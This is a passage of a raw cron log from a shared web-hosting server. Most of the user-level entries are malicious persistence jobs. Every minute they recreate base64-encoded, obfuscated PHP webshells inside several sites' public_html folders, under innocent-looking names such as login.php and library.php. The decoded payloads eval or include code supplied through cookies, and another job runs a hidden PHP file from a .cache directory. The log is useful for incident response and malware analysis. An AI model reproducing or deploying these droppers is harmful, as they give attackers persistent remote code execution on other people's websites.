"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:27:01 medusa CROND[18002]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:28:01 medusa CROND[8830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:28:01 medusa CROND[8910]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:28:01 medusa CROND[8911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:28:01 medusa CROND[8912]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:28:01 medusa CROND[8914]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:28:01 medusa CROND[8915]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:28:01 medusa CROND[8917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:28:01 medusa CROND[8923]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:28:01 medusa CROND[8924]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:28:01 medusa CROND[8928]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:28:01 medusa CROND[8929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:28:01 medusa CROND[8930]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:28:01 medusa CROND[8931]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:28:01 medusa CROND[8934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:29:01 medusa CROND[32163]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:29:01 medusa CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:29:01 medusa CROND[32186]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:29:01 medusa CROND[32187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:29:01 medusa CROND[32188]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:29:01 medusa CROND[32192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 04:29:01 medusa CROND[32193]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:29:01 medusa CROND[32194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:29:01 medusa CROND[32195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:29:01 medusa CROND[32197]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:29:01 medusa CROND[32199]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:29:01 medusa CROND[32204]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:29:01 medusa CROND[32200]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:30:02 medusa CROND[22798]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:30:02 medusa CROND[22923]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:30:02 medusa CROND[22924]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
